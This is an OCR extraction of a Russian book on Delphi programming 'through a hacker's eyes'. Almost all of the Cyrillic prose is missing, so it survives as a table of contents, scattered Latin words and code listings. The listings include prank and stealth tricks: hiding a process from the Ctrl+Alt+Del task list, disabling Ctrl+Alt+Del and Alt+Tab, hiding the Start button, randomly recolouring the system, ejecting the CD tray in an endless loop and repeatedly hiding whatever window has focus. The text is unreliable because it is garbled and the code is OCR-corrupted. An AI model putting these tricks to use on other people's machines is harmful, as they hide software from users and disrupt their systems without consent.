Академический Документы
Профессиональный Документы
Культура Документы
ru
-
--
2003
www.kodges.ru
681.3.068x800.92Delphi
32.973.26-018.1
69
17
. .
Delphi . .: -, 2003. - 368 : .
ISBN
5-94157-351-0
Delphi, .
, .
,
. ,
Delphi .
, vr-online " Delphi".
- . , -, .
Delphi
681.3.068x800.92Delphi
32.973.26-018.1
:
.
.
. ., 2003
, "-", 2003
www.kodges.ru
? ?
1
2
6
1.
1.1.
1.2. ,
1.3.
1.4.
1.5.
1
2
5
6
7
13
2.
13
16
22
27
28
30
30
34
35
36
37
39
2.1.
2.2.
2.3.
2.4.
2.5.
Num Lock, Caps Lock
Scroll Lock
?
CPL-
-
<Ctrl>+<Alt>+<Del>
39
45
49
52
58
58
59
59
60
61
www.kodges.ru
IV
<Alt>+<Tab>
2.6.
3.
61
61
62
62
64
64
67
3.1. ,
3.2.
3.3.
3.4.
3.5.
3.6.
3.7.
3.8.
3.9.
.
3.11.
4.
4.1.
4.1.1. IP
4.1.3. UDP
4.1.4. , TCP
4.J.5. NetBIOS
4.1.6. NetBEUI
4.1.7. Windows
4.1.8. IPX/SPX
4.2. 139-
4.3.
4.4.
4.5. - -
4.6.
4.7.
4.8.
4.9.
4.9.1.
4.9.2.
67
73
83
84
89
92
93
97
106
110
116
133
133
136
137
138
140
141
141
141
142
146
150
156
162
167
171
176
177
184
www.kodges.ru
4.10.
4.11. FTP-
4.12. TELNET-
5.
5.1. WinSock
5.1.1. WinSock
5.1.2.
5.2.
5.2.1.
5.3. IP-config
5.4.
5.5. WinSock
5.6. NetBIOS
5.7. / IP-
5.8. ARP
5.9. ARP-
5.9.1. ARP-
5.9.2. ARP-
5.10.
6.
186
192
199
207
207
208
212
213
216
225
229
235
237
242
245
251
252
257
261
273
6.1.
273
6.1.1.
276
6.1.2.
277
6.1.3. Windows
277
6.2.
280
6.3.
282
6.4.
286
6.4.1.
286
6.4.2.
290
6.5. -
292
6.6. LPT-
296
6.7.
301
6.8.
302
6.9.
309
6.9.1.
309
6.9.2. ....313
6.10.
316
www.kodges.ru
VI
7.
323
7.1.
7.2.
7.3.
7.4
7.5.
7.6. plug-in
7.6.1. plug-in
7.6.2. plug-in
323
326
328
335
337
341
341
346
351
353
www.kodges.ru
- . , ,
.
, . ,
, .
( ) ,
, , . ,
10 .
,
( ,
2 ). ,
. , .
. ? .
"". - "", ,
.
, .
( , 3 ),
, , , .
aka SINtez "". , -
, , , .
"Hack-Faq", "",
.
www.kodges.ru
2_
,
, : ,
, , ""
, , , . , , . ,
.
,
. - .
. " ".
? . ""
, . , ,
. , , . "" .
, , Windows.
Delphi.
. , .
Delphi .
, ,
. ,
. , Delphi
www.cydsoft.com/vr-online,
.
,
.
. , . .
www.kodges.ru
3_
Delphi. , , . , .
, . , , .
, . ,
. .
- :
,
, .
: , ,
, .
. 2002
.
.
, ,
, ,
39 .
,
. ( ), , , I 12
( , ) .
, - , ,
, . : .
.
.
,
, , .
. 2000
. Microsoft SQL Server.
, . , . , SQL Server.
, , , -. , (
www.kodges.ru
4_
Microsoft, ), , , . ,
, ,
, -, .
, ,
. , ,
- . ,
, , -, .
. ,
.
, ,
,
,
. 7 ( ):
1. " ". ,
, .
,
. , . , .
2. " ". ,
, - , . , , "" .
- ( ).
3. "". .
, Windows.
,
.
4. " ".
. ,
www.kodges.ru
Delphi,
.
5. " ". Delphi. , WinSock API API-.
6. " ". "". , ,
.
, - (RS-232),
.
, -
, -
.
7. "". ,
, . ,
"". ,
.
, , -
.
, - , . , . ,
.
, . -
. ,
- . .
, - :
Headers , Delphi .
Source , . ,
.
www.kodges.ru
? ?
, "" . : , ,
. ,
, .
, . , , . ,
"".
. ,
,
.
, , , . ,
.
"" , ARPAnet. , -
www.kodges.ru
. , . , , ,
"".
.
FIDO. UNIX- , .
,
. -
. .
, ,
.
, . , , , , ,
() . ,
.
. , . , ,
, ,
(
!).
, . ,
, .
.
, .
.
1. .
,
"" .
?
. , ""
. ,
, , .
, .
, .
www.kodges.ru
.
,
. , , , ,
, .
.
/
<CtrI>+<O/<Ctrl>+<V> <Ctrl>+<Ins>/<Shift>+<Ins>, .
2. , .
,
, . , . , , , . ,
!!!
, , - .
.
, .
3. . .
. Delphi. , , , , .
, .
, Basic (
, ).
Visual Basic ,
, , . ,
,
. -
.
, , - .
, , .
. ,
. ,
. Delphi
. . ,
-, .
www.kodges.ru
4. . .
, .
. , - .
, .
,
.
. - , . "", "" .
- , . , ,
, , "".
,
. -
, , , . , . ,
.
, .
.
- .
, ? .
.
5. .
. . , - ,
, .
, .
, ( !). , . ,
.
6. , .
,
. . . ,
-, .
.
www.kodges.ru
10
- , .
,
. .
, ? :
, . ,
, .
, , - . , .
. ,
. , .
, "", "".
, .
"". ,
.
" "
www.sekachev.ru.
Eric S. Raymond. , .
: "
?" . -, - , . , ,
.
. , . ,
, .
.
. ,
.
. , - . , ,
. . , . Delphi, , .
, .
- 6
. , .
- .
, Microsoft ,
www.kodges.ru
1 -\
, , . , .
.
XML,
. ,
.
Microsoft ,
, . , .
Microsoft, .
. MS?
: DAO, RDO, ODBC, ADO, ADO.NET,
. MS - ,
.
.
, , a MS ,
.
DAO,
DAO
ADO, , , , .
, , . ,
, .
,
Delphi. VC++ (
) .
, ASM . ,
,
. ,
, .
,
,
.
www.kodges.ru
www.kodges.ru
-? , . , , . ,
,
<Ctrl>+<Alt>+<Del>. - ,
, .
, - . , Delphi, "".
, , 200 .
, . , ,
, Delphi,
1.1.
. ASPack,
www.cydsoft.com/vr-online/download.htm - (
ASPack.exe). *. *.dll.
ASPack,
. Next,
! , ,
. 1.1. :
Open File;
Compress;
www.kodges.ru
14
Options;
About;
Help.
S)ASPack2.11
Win32 EXE. DLL comptetsor
Registered to.
UNREGISTERED
30 davs
Version 2.11
Fie intoirnation
Open I
File name
Hsitory
Project! exe
i Project!
, 1.1. ASPack
Versign
2L11
Registered to:
UNREGISTERED
30 days
Project1.exe
. 1.2.
www.kodges.ru
15
, ,
bak. ASPack (. 1.3), . , .
Vetiion 2.11
Open File j Compe
i ss Opto
i ns | About | Help |
, f? C
' ompress resoucesj
use Wnidows DLLo
l edei
I P Deate backup copy [ bak He] Preserve extra data
17 Auto run after loading
Add into content menu
'
'
',
-,
I
! Unregistered veision Options aie not javed
Secto
i ns' name
,71,1 Language
Proe
i c1
l .exe
. 1.. ASPack
, . . , - "",
. ,
. , . ASPack
, .
, , ,
. ,
.
, - !!! , .
- , ( , ). ,
. ,
. - .
""
www.kodges.ru
16
, 60-70% . .
""
, disassembler
. , . ,
, .
- \\ l\Screensl .
1.2. , ...
: "- , Delphi, ?" : Delphi .
, , .
. , ,
, ! - .
. ,
. -
. , .
, ? .
1. VCL ( Visual C++
MFC), . WinAPI.
.
WinAPI.
2. .
, ,
VCL, 300 "", 3050 .
,
WinAPI.
www.kodges.ru
17
, .
,
.
, Borland . API- Windows
.
Delphi, ( Delphi
, , File\New\
Application), ( View\Project Manager).
( Unit,
. 1.4), (
Projectl.exe). .
. . 1.3.
I Project Manager
(Ptojecti.
Files
ProjectGroupi
H--JP Project! .exe
zl
New
Path
D: \Program FilesVB orland\D elpN6\Piojects
D: \Progr am FilesVB orland\D elpN6\Piojeds
D:\Program Files\BotlandM}elphi6\Projecls
View Source
Project View Source.
Projectl.dpr. ,
:
program Project1;
uses
Forms;
www.kodges.ru
18
($R *.res}
begin
Application.Initialize;
Application-Run;
end.
.
Project Compile Project
<Ctrl>+<F9>. Project
Information for Projectl. . , , . 1.5.
Program
Source compiled:
Code, size: '
Data size:
Initial stack size:
File size:
13 fn
i es
322312 bytes
7077 bytes
16384 bytes
370668 bytes
Packages Used~
(None)
. 1.5.
.
, , None. .
,
370 688 . " "!!! . ?
, , ,
. , uses Forms. , " ",
, , . begin end
Application. , "" .
, ,
Application, Forms.
www.kodges.ru
19
i n i t i a l i z e Run, Triplication, ,
.
, Forms
windows, WinAPI. Delphi, ,
WinAPI. begin end
. (
windows) :
program Projectl;
uses Windows;
begin
end.
.
. 8 192 (. 1.6).
-.
-Program-' - - S compiled:
22 ines
Code size:
3696 bytes
Data size:
1945 bytes
16384 bytes
File size
8192 bytes
Packages Used
(None]
Status' -~
Pfojecti Successfully Compiled.
. 1.6.
WinAPI . .
, uses.
.
Delphi , , Delphi.
Source, Rtl , , Win.
, - Delphi
www.kodges.ru
20
. , API- Windows.
, . - , ( ).
. ,
,
. WinAPI winsock.pas.
, uses winsock (
), .
,
. , , , . , , - ?
:
program Projectl;
uses Windows;
var
Msg : TMsg;
Begin
//
// ,
//
while GetMessagef Msg, HInstance, 0, 0) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
end.
,
.
, .
,
. , , . , - .
www.kodges.ru
21
^ p o i i e c c b l I ( _ J !
devldr32.exe
LvAgent.exe
msmsgs.exe
ctFmon.exe
drwebscd.exe
Spidet.exe
Directcd.exe
AHQTB.EXE
Spidernt.exe
nvsvc32.exe
spoolsv.exe
exptorer.exe
svchost.exe
svchost.exe
delphi32.exe
svchost.exe
svchost.exe
SYSTEM
SYSTEM
SYSTEM
LOCAL SERVICE
NETWORK SERVICE
SYSTEM
SYSTEM
4V4TFM
00
00
00
00
00
00
00
00
00
00
00
00
00
00
3 072
1 852
892
1 660
2 624
2 316
4 096
Z 740
1804
1320
4 248
14 720
3 420 KB
2 444
40 108
ot
14 124
00
3 864
00
? 37ft KR
m
D [
: 29 .; : 19%
: 129056 (
, . Windows 2000/XP ,
, . Windows 2000/XP
<Ctrl>+<Alt>+<Del> Windows
(. 1.7). ,
. -
, .
,
,
, , .
Windows <Ctrl>+<Alt>+<Del>
. , :
procedure RegisterServiceProcess; external 'kernel32.dll'
name 'RegisterServiceProcess';
RegisterServiceProcess,
kernel32.dll. Windows 9x. uses.
www.kodges.ru
22
, ( ):
asm
push I
push 0
call RegisterServiceProcess;
end;
Delphi , . , ,
RegisterServiceProcess.
asm and;.
. i push. .
, ,
RegisterServiceProcess. To
RegisterServiceProcess (, 1),
, .
RegisterServiceProcess, Windows 9x
,
<Ctrl>+<Alt>+<Del>. RegisterServiceProcess c a l l .
Windows 9x , Windows 9x,
Windows 2000/XP,
RegisterServiceProcess. ,
RegisterServiceProcess.
1.3.
,
-.
Windows WinAPI.
Delphi. ,
. ,
, .
View\Project Manager. . Unitl
Remove (. 1.9).
www.kodges.ru
23
Delphi - Project2
Action
ActiveControl
Menu
ObjecWenulte
OnActiyale
OnCanResize
OrOck/' ['~
OnPose ' '
QnCloseQueiy
QnConslrained
OnContextPoptj
OnDeate
OnDNClick
OnDeactivate
DnDestroy
rU Toggle Form/Unit
CM+F12
Shift+F12
j ? Forms
New Edit Window
Toolbars
. 1.8.
3
New
||(2.
Files
X
Remove
Path
ProiectGtoupi
Project2.eKe
, %$ Urriti
f'ef\
["""jj!gEZ]|
Np
. 1.9.
www.kodges.ru
24
(, , //,
, ):
4$ ;\}1>
uses
windows, messages, sysutils;
f$R *.RES}
var
Instance: HWnd;
WindowClass: TWndClass;
Handle: HWnd;
msg: TMsg;
//
procedure DoExit;
begin
Halt;
end;
// Windows
function WindowProc (Hwn,msg,wpr,lpr: longint): longint; stdcall,
begin
result:=defwindowproc(hwn,msg,wpr,lpr);
if msg=wm_destroy then
DoExit;
if msg=wm__KeyDown then
if wpr-VK_ESCAPE then
poExit;
end;
//
begin
//
instance :^GetModuleHandle(nil);
www.kodges.ru
25
// WindowClass
WindowClass. style :=CS___HRedraw or CS_VRedraw;
WindowClass.Lpfnwndproc:=@windowproc;
WindowClass.Hinstance:=Instance;
WindowClass.HbrBackground:= color_btnface;
WindowClass.LpszClassName:='DX';
WindowClass.Hcursor:=LoadCursor(0,IDC_ARROW);
//
RegisterClass (WindowClass);
//
Handle:=CreateWindowEx (0,'DX', " ,WS_POPUP, 1,1, 200, 200,0, 0,Instance,
nil) ;
ShowWindow(Handle, SW_SHOW);
UpdateWindow (Handle);
//
//
while (GetMessage(msg, 0, 0, 0)) do
begin
translatemessage(msg) ;
dispatchmessage (msg);
end;
end.
1.1. begin ( ). WinAPI-
GetModuieHandie. ,
instance. .
WindowClass.
. :
style ;
Lpfnwndproc ,
;
www.kodges.ru
26
D Hinstance , ;
HbrBackground ( , ,
);
LpszciassName ;
Hcursor . -.
. ,
. WinAPI- R e g i s t e r C l a s s (WindowClass) ; .
. ?
, .
CreateWindowEx:
CreateWindowEx
(0,'DK','',WS_POPUP,
1,1,
www.kodges.ru
27
, true ().
transiatemessage dispatchmessage.
.
?
windowciass.Lpfnwndproc. windowProc , . 1.1.
-
defwindowproc. , . , , .
. msg . , msg wmdestroy, ,
,
.
. msg wmKeyDown, . .
- , ,
<ESC> wpr - VKESCAPE .
, .
, . , <Ctrl>+<F4>, .
,
showwindow, .
.
. SWSHOW, SWHIDE, . SWHIDE
.
showwindow, .
- \\ l\Minimum\
.
1.4.
.
- ,
, .
, .
2 . 978
www.kodges.ru
28
Delphi.
Caption .
.
onclick :
procedure TForml.ButtonlClick(Sender: TObject);
begin
ShowWindow(Handle,SW_HIDE);
ShowWindow(Application.Handle,SW_HIDE);
end;
ShowWindow. ,
. SW_HIDE, . Handle , (
) , .
Application.Handle . . ,
, indows.
,
, - .
- , .
,
, .
internat32.exe. Windows 95/98 , internat.exe,
.
internat32 .
, , . , .
.
- \\ l\Hide App\
.
1.5.
.
. , . , ? , - ?
www.kodges.ru
29
,
. ,
, , .
, ,
"". , .
. , .
, , MS Word, . ,
? !!!
" ",
: "--". ,
( ) , ,
.
, .
,
, . ,
, .
. , ,
, ,
, "" ,
. , ? ,
, , .
MS!!!
, . ,
.
, ,
. .
!!!
. ,
, .
, "",
, .
, .
,
, , .
.
, , ,
" Delphi ".
www.kodges.ru
30
, , ,
.
, ,
. , .
1
. , , , .
. . . 2 + 2 .
, ,
.
, (
), ,
.
2
, ,
. ,
/ ,
. .
. - 1995
Doom. , . ,
. ,
, .
, , . , , , AI....
. , 320x200 ( !)
? ....
, .
.
www.kodges.ru
31_
10% ,
. .
,
. AGP, PCI- S3 1 . ,
PCI . , . "", . ,
.
, ,
. , ? 10% .
, .
,
. , , , .
10% ( ),
, 10 !..
,
S3, 5400
32 . . , 64 ,
: " DIMM, .
, ".
128, 256, 512
Delphi, Photoshop ""
.
.
,
. , -.
. ,
, .
.
www.kodges.ru
32
3
, . .
. ,
( ,
):
1. :=*2;
2.
:=1|
3. :=+[];
4.
:=+1;
5. <100 3.
, , . . ,
(:=+) ,
. , .
. ? .
: " <100,
:=+[|". , 100
5 3. . - ? . : 3 4.
, 2 :
1. : = 1 |
2. :=+[];
3. :=+1;
4. :=+[];
5.
:=+1;
6. <50 3;
.
. ,
3 4, 3, . 50 (
). , 50 . ? .
www.kodges.ru
33
, 2 3 ? ,
2 3 10 , 10 , 100.
90 .
, , . ,
. , ,
. .
. ,
.
.
. ? . ,
.
.
,
, .
,
.
, , . - ( ),
.
1 -
. ,
. -
, , ,
Windows. .
4
( .)
.
, .
www.kodges.ru
34
, , , . , .
.
( ).
, . , . .
, . ,
.
,
- .
. , , , .
.
5
.
, ,
.
.
, .
1. .
.
2. . - 3, ,
.
? .
, . , , . , 198
11000110. , .
11000110 ,
, 1100011.
. 99. 198.
www.kodges.ru
35
: ,
2.
11000110.
, ,
110001100. . 396. ? 198,
2.
: , 2;
, 2.
, ,
.
3. . (), .
, .
,
. ,
.
, ,
. , " ".... .
, .
4. (, , )
Assembler. Delphi C++
.
- , .
TASM MASM .
,
.
.
6
.
Doom, . ,
. -,
www.kodges.ru
36
.
Doom ?
, . ,
, .
, . ,
, . , Doom
-.
Quake Quake. , .
? .
.
Quake 3, ,
Half-Life, Quake,
. ,
, .
7
.
,
. ,
! , -
, . ,
, , .
, , .
, .
, .
, .
if ,
.
,
.
www.kodges.ru
37_
!..
, , . ,
. , , , . , , 99,9% .
, . , ,
.
www.kodges.ru
www.kodges.ru
- Windows.
, .
,
- , .
.
, - , . -.
,
- . , , .
WinAPI.
, Delphi ,
. WinAPI-. Delphi ,
WinAPI , ,
.
2.1.
, Windows 95.
, .
, .
Windows 95. ,
, .
, .
.
.
www.kodges.ru
40
,
. , 100 !
, . . IBM- ,
<PrintScrn>,
, .
.
Delphi. . . (Object Inspector).
BorderStyie bsNone,
. Formstyie
fsstayOnTop, . ,
.
image
Additional.
imagei. .
Left 0, (. 2.1).
\<- Delphi 6 - ProjectZ
Edit ^earch #ew Eroject Run Component Qataoase Tools J*n
i dow Help
Standard Additional | Win321 System j Data Access | Data Controls 1
-*> 4
Anchors
AutoSize
Center
S Constraints
Cursor
DragCursor
DragKind
DragMode
Enabled
Height
. 2 . 1 .
www.kodges.ru
41
Picture
( , ), ,
(. 2.2). Load , . AutoSize
imagei true, .
Help
. 2.2.
. .
, . , , (
). !
Events . onshow,
. . .
procedure TForml.FormShow(Sender: TObj ect);
begin
Width:=51,-//
Height:=21;//
Left:=-100;//
end;
www.kodges.ru
42
. ,
, . ,
, .
21 51.
Timer
System. interval.
1 000 (1 ). 10 000 (10 ). , .
.
Events onTimer. , 10 ( interval).
. :
2.1. OnTimer
procedure TForml.TimerlTimer(Sender: TObject);
var
i:Integer;
h:THandle;
begin
Visible:=true; //
//
:^Screen.Height-Height;
Left:=l;
// h,
h:=CreateEvent(nil, t r u e , f a l s e , ' e t ' ] ;
//
// 1 80 begin end
for i : = l t o 80 do
begin
// .
Top:=Screen.Height-Height-i*5;
Repaint; //
www.kodges.ru
43
WaitForSingleObject(h,15);// 5
end;
// . ,
//
for i::=80 downto 1 do
begin
Top: =Screen. Height-Height-.!*5;
Repaint;
WaitForSingleObject(h,15) ;
end;
Closehandle(h); // h
Visible:=false; // ,
end;
, ,
, .
, .
, TaskBar,
-. , . View
Source Project. . 2.2, .
2-2. ||||^1|^
* ^ * '
program P r o j e c t l ;
uses
Forms,
Windows,// Windows
Unitl in 'Unitl.pas' fForml};
{$R *.RES}
//
var
EStyls : integer;
www.kodges.ru
44
begin
Application.Initialize;
//
EStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE)
SetWindowLong(Application.Handle, GWL_EXSTYLE,
EStyle or WS_EX_TOOLWINDOW>;
//
Application.CreateForm(TForml, Forml);
Application.Run;
end.
, .
. 2.3.
. . .
. ,
.
Windows, Windows XP . ?
.
- \\ 2\
.
www.kodges.ru
45
2.2.
,
. ,
,
( Windows 95/98/).
, ,
! ,
. ? API Findwindow. :
, .
SheiijirayWnd. , .
, , Findwindow
. ,
Windows , .
, FindwindowEx. .
:
1. , .
2. - , .
0, .
3. . , ,
Button.
4. . n i l ,
.
, , :
StartBtnWnd:=FindWindow('Shell_TrayWnd', nil);
StartBtnBmp:=FindWindowEx(StartBtnWnd, 0, 'Button', nil) ;
.
startBtnwnd.
.
StartBtnBmp.
Delphi .
oncreate.
, .
private . .
www.kodges.ru
46
private
{ Private declarations }
StartBtnWnd, StartBtnBmp: hWnd;
, .
!
- 51 21. . 2.4.
* WLftM
. 2.4.
image
Additional. Picture. . Load,
.
Image I. Picture
Cancel
Help
. 2.5.
www.kodges.ru
47
: :
1. .
2. .
3. .
4. .
5. .
!!! . . 2.6 , .
, .
. 2.6.
.
. Onclick
:
procedure TForml.ButtonlClick(Sender: TObject);
begin
SendMessage(StartBtnBmp, BM_SetImage, 0, Imagel.Picture.Bitmap.Handle);
end;
WinAPI- SendMessage, . :
1. , , .
2. - BM_setimage, .
3. .
4. ,
.
www.kodges.ru
48
.
. , , , . . 2.7
. , Windows 9x
'*$tjj
. 2.7.
Windows
. onclick
. :
procedure TForml.Button2Click(Sender: TObject);
begin
EnableWindow(StartBtnWnd, false);
end;
( ) :
procedure TForml.Button3Click(Sender: TObject);
begin
EnableWindow(StartBtnWnd, true);
end;
Enabiewindow.
. .
(true) (false).
, , , . , .
www.kodges.ru
49
.
onclick :
procedure TForml.Button4Click(Sender: TObject);
begin
ShowWindow(StartBtnBmp, SW_HIDE);
end;
showwindow. SW_HIDE, . ,
SW_SHOW.
. , , .
hwnd.
.
onclick :
procedure TForml.ButtonSClick(Sender: TObject);
begin
ShowWindow(StartBtnWnd, SW_HIDE);
end;
, ,
showwindow
.
- \\ 2\ 2 .
\\ 2\ 2 .
2.3.
, - .
, .
, .
.
(Buttoni) .
, .
Enabled false,
. . interval 5 000
www.kodges.ru
50
( ).
(1-3 ,
Windows). Windows XP,
10 , . . 10000.
, setsysCoiors.
:
1. .
2. .
3. .
, .
:
SetSysColorsU, 5, clRed);
, . :
procedure TForml.ButtonlClick(Sender: TObject);
begin
Timerl.Enabled:=true;
end;
( ). :
procedure TForml.TimerlTimer(Sender: TObject);
const
SySColorArray: array [0..13] of Integer = (COLOR_ACTIVEBORDER,
COLOR_ACTIVECAPTION, COLOR_APPWORKSPACE, COLOR_BACKGROUND,
COLOR_BTNFACE, COLOR_BTNTEXT, COLGR_CAPTIONTEXT,
COLOR_INACTIVEBORDER, COLOR_INFOTEXT, COLORJ4ENU,
COLOR_MENUTEXT, COLOR_WINDOW, COLORJtflNDOWFRAME,
COLOR_WINDOWTEXT);
ColorArray:array [0..10] of TColor = (clAqua, clBlack, clBlue, clYellow,
clFuchsia, clGreen, clNavy, clRed, clSilver, clWhite, clSkyBlue);
begin
SetSysColors(1, SySColorArray[random(13)], ColorArray[random(10)]);
end;
www.kodges.ru
51
(,
) .
, , .
. , . Delphi array.
:
: array [ ] of ;
, , , , 12 [0..11] [I..12].
0, 1.
12- [0..11] [12].
,
:
[4]:=;
4 -
.
syscoiorArray 14 .
,
.
, (COLOR_ACTIVEBORDER, COLOR_ACTIVECAPTION . .). .
COLOR_ACTIVEBORDER, COLOR__ACTIVECAPTION . .?
. . ,
COLOR_ACTIVEBORDER 10.
. ,
.
coiorArray 10 .
.
Setsyscoiors. :
1. 1 .
2. SySColorArray[random(13)] SySColorArray
, .
random (13) 0 1.
www.kodges.ru
52
3. coiorArray[random() ] coiorArray
0 10 random(10).
.
.
- \\ 2\Palette .
2.4.
, .
ListBox . ListBox.
,
ListBox. , , (. 2.8).
* Forml
. 2 . 8 .
, - , .
.
www.kodges.ru
53
,
TDevMode, . private :
private
( Private declarations }
modes:array[0..255] of TDevMode;
public
{ Public declarations }
255 TDevMode.
onclick
:
procedure TForml.ButtonlClick(Sender: TObject);
var
i: Integer;
begin
ListBoxl.Items.Clear;
i := 0;
while EnumDisplaySettings(nil, i, Modes[i]) do
begin
ListBoxl.Items.Add(IntToStr(Modes[i].dmBitsPerPel)+' '+
IntToStr(Modes[i].dmPelsWidth)+' '+
IntToStr(Modes[i].dmPelsHeight)+ ' '+
IntToStr(Modes[i].dmDisplayFrequency));
Inc(i);
end;
end;
ListBox
ListBoxl. items.Clear. i,
, .
EnumDispiaySettings,
. :
1. , . -
.
, n i l .
2. , .
i, 1,
.
www.kodges.ru
54
3. TDevMode, . .
while do:
while EnumDisplaySettings{nil,
i, Modes[i]) do
, EnumDispiaySettings
, ,
begin end. ListBox,
, i .
ListBox,
:
Modes[i].dmBitsPerPel - ( ) .
Modes[i].dmPelsWidth - .
Modes[i].dmPelsHeight - .
Modes[i].dmDisplayFrequency - .
. ListBox , (. 2.9).
8 640 480 60
8 640 4G0 70
8 640 480 72
8 640 480 75
8 640 480 85
8 640 480 100
8 640 480 120
8 320 200 60
8 320 200 70
8 320 200 72
8 320 200 75
8 320 240 63
8 320 240 70
8 320 240 72
8 320 240 75
8 400 300 60
8 400 300 70
8 400 300 72
8 400 300 75
8 480 360 60
6 430 350 70
8 480 360 72
zl
. 2.9.
:
1. ( ) .
www.kodges.ru
55
2. .
3. .
4. .
.
:
procedure TForml.Button2Click(Sender: TObject);
begin
Modes[ListBoxl.Itemlndex].dmFields := DM_BITSPERPEL or
DM_PELSWIDTH or DM_PELSHEIGHT or
DM_DISPLAYFLAGS or DM_DISPLAYFREQUENCY;
ChangeDisplaySettings(Modes[ListBoxl.Itemlndex], CDSJJPDATEREGISTRY);
end;
ListBoxi. itemindex .
,
Modes, Modes[ListBoxi.Itemindex].
, ListBoxi
, TDevMode
Modes.
, Modes
dmFields, , .
:
1.
2.
3.
4.
5.
.
~~ .
DM_PELSHEIGHT .
DM_DISPLAYFREQUENCY .
DMBITSPERPEL
DM_PELSWIDTH
DMDISPLAYFLAGS
, dmFields
DM_BITSPERPEL. , or,
.
ChangeDisplaySettings. :
1. TDevMode.
2. .
:
1.0 , .
www.kodges.ru
56
2.
CDSJJPDATEREGISTRY , .
3.
CDSTEST ,
.
.
, 0. , . . 2.10,
,
Windows . .
. 2.11 , , , ,
.
, ,
. , , . ,
.
Qaa
to
ta lot* BJue
f H>
SnMmJDXtAccaa! Daa
t Comm]ti dbEuntiIH
tUS
I ]ADO | I n M a n ! WabSarvcetllnt*!
- fapttott JEvmt]i
321024 769
321152864 60
Color
CoUnrx
321152861 n
321152 861 75
1 1 5 2 8 6 1 85
321152 864 100
32 1280 960 60
70
'31290 360 12
12 1290 960 75
J
2 ' 290 96C
2120102 60
2120102 70
321290102 72
321290102 75
321290102 95
321 SOU ) 60
3216001200 70
3216001200 72
TSPEPPEL Dr
L 0);
DH^PELSHIDTH
. 2 . 1 0 .
www.kodges.ru
57
. 2 . 1 1 .
, - . , , . ,
, , .
, "", .
- \\ 2\Video Mode
.
- \\ 2\Video Mode
.
www.kodges.ru
58
2.5.
, .
Num Lock, Caps Lock Scroll Lock
.
. :
procedure TForm2.ButtonlClick(Sender: TObject);
begin
Timer1.Enabled:=true;
end;
:
procedure TForml.Timer2Timer(Sender: TObject);
begin
Timerl.Tag := (Timerl.Tag + 1) mod 4;
SetState(VK_NUMLOCK, Timerl.Tag * 1);
SetState(VK_SCROLL, Timerl.Tag - 2);
SetState(VK_CAPITAL, Timerl.Tag = 3);
end;
, , .
s e t s t a t e . . Delphi, .
:
procedure SetState(key: Integer; Value: Boolean);
var
KeyState: TKeyboardState;
begin
GetKeyboardState(KeyState);
KeyState[key] := Integer(Value);
SetKeyboardState(KeyState) ;
end;
,
, , . ,
www.kodges.ru
59
, , , Delphi ,
.
s e t s t a t e . WillAPI- GetKeyboardState.
- Keystate. .
S e t K e y b o a r d S t a t e .
. .
s e t s t a t e , . ,
. , ,
Setstate ,
true false ( ).
:
Setstate(VK_NUMLOCK, true);
Setstate(VK_SCROLL, false);
Setstate(VK_CAPITAL, true);
?
, , :).
, , ,
:). , :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0) .
"", - 1 .
CPL-
uses SheiiApi,
sheiiExecute. :
SheiiExecute(Application.Handle, Pchar ('Open'),
PcharfRundll32.exe1) , Pchar ('shell32, Control_RunDLL f ilename. cpl ) ,
" ,SW_SHOWNORMAL);
SheiiExecute .
, Rundll32.exe.
: shell32,Control_RunDLL filename.cpl.
:
SheiiExecute(Application.Handle, Pchar('Open1),
3 . 978
www.kodges.ru
60
PcharCRundll32.exe'),
,SW_SHOWNORMAL);
Pchar{'shell32,Control_RunDLL i n e t c p l . c p l ' ) ,
:
ShellExecute(Application.Handle, Pchar{'Open'),
1
PcharCRundll32.exe ) ,
*' ,SW_SHOWNORMAL);
-
, 5
CD-ROM:
var
OpenParm: TMCIJDpen_Parms;
GenParm: TMCI_Generic_Parms;
SetParm: TMCI_Set_Parms;
DI : Cardinal;
OK: boolean;
begin
OK:=false;
OpenParm.lpstrDeviceType := 'CDAudio';
repeat
mciSendCommand(0, mci_Open, mci_Open_Type, Longint(QOpenParm));
DI := OpenParm.wDevicelD;
mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));
mciSendCommand(DI, mci_Set, mci_Set_Door__Closed, LQngint (@SetParm)) ;
mciSendCoitrmand(DI, mci_Close, mci_Notify, Longint (@GenParm) );
sleep(5000);
until OK;
end;
false.
repeat, . u n t i l , , true. , false,
.
lpstrDeviceType
OpenParm. CDAudio,
CD-ROM.
, , .
www.kodges.ru
61
MMSystem.
<Ctrl>+<Alt>+<Del>
Windows 9x
:
var
i:integer;
begin
i := 0;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, Si, 0);
end;
<Alt>+<Tab>
Windows 9x.
var
i:integer;
begin
i := 0;
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @i, 0);
end;
, .
. ,
.
showwindow,
, SWHIDE.
var
Wnd:THandle;
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd1, nil);
www.kodges.ru
62
nil);
SW_HIDE);
end;
, . ,
:
var
n:HWND;
begin
while true do
begin
h:=GetForegroundWindow;
ShowWindow(h,SW_HIDE) ;
Sleep(2000);
end;
end;
while, :
GetForegroundWindow .
ShowWindow.
2 , -
.
:
SystemParametersinfo(SPI_SetDeskWallPaper, 0, PChar(TempStr),
SPIFJJpdatelniFile);
SystemParametersinfo :
, . , . :
SPI_SETDESKWALLPAPER .
;
SPI_SETDOUBLECLICKTIME .
www.kodges.ru
63
. 10, , , 10 . , ;
SPISETKEYBOARDDELAY
;
SPI_SETMOUSEBUTTONSWAP 0, , , .
.
.
, , . :
SPIFJJPDATEINIFILE ;
SPIF_SENDCHANGE WM__SETTINGCHANGE ;
SPIFSENDWININICHANGE , .
, ,
. ,
:
//
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, 0,
SPIF_SENDWININICHANGE);
//
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, ,
SPIF_SENDWININICHANGE);
Windows
.
.
var
SysMenu: HMenu;
begin
SysMenu := GetSystemMenu(Handle, False);
Windows.EnableMenuItem(SysMenu, SC__CLOSE, MF_DISABLED or MF_GRAYED) ;
end;
www.kodges.ru
64
.
EnableMenuItem Windows,
.
2.6.
,
" " ( ).
var
OK: boolean;
begin
OK:=false;
repeat
randomize;
